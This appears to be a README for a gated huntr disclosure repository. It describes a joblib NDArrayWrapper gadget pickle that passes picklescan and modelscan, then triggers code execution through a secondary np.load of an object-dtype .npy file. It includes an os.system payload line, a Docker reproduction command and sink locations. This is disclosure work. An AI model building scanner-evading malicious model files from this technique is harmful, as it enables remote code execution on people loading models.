heehee0219's picture
docs: README explaining gated PoC
0a7fe20 verified
|
Raw
History Blame Contribute Delete
1.64 kB
---
license: mit
tags:
- security-poc
- huntr-mfv
- joblib
---
# joblib-ndarraywrapper-poc
> Demonstrator artifact for huntr MFV report β€” joblib `NDArrayWrapper`
> compat-mode gadget bypasses picklescan + modelscan and triggers RCE
> via secondary `np.load(..., allow_pickle=True)`.
This repository is intentionally gated. Files are released only to
`protectai-bot` (huntr triage) for verification.
## Files
- `model.joblib` β€” 142-byte gadget pickle. Holds an `NDArrayWrapper`
whose `.filename` field points at `stage2.npy`. picklescan and
modelscan both report this file as clean.
- `stage2.npy` β€” 351-byte object-dtype `.npy` whose pickled element
executes `os.system('id > /tmp/pwned.txt; echo PWNED >> /tmp/pwned.txt')`
via `__reduce__`.
## Reproduce locally (Docker)
```
docker run --rm -it -v "$PWD":/poc -w /poc python:3.12-slim bash -lc '
pip install -q joblib==1.5.3 numpy picklescan modelscan && \
cp stage2.npy /tmp/stage2.npy && \
picklescan --path model.joblib && \
modelscan -p model.joblib && \
python -c "import joblib; joblib.load(\"model.joblib\")" && \
cat /tmp/pwned.txt
'
```
Expected output:
```
Infected files: 0 # picklescan clean
No issues found! πŸŽ‰ # modelscan clean
uid=0(root) gid=0(root) groups=0(root)
PWNED # RCE
```
Affected: joblib 1.5.3 (PyPI latest 2025-12-15) and joblib 1.6.dev0
(repo HEAD). Sink: `joblib/numpy_pickle_compat.py:97-111`. Reach:
`joblib/numpy_pickle.py:438-467` (`NumpyUnpickler.load_build`).
Distinct from CVE-2024-34997 (different file, class, sink, attacker
control surface). See huntr submission for the full writeup.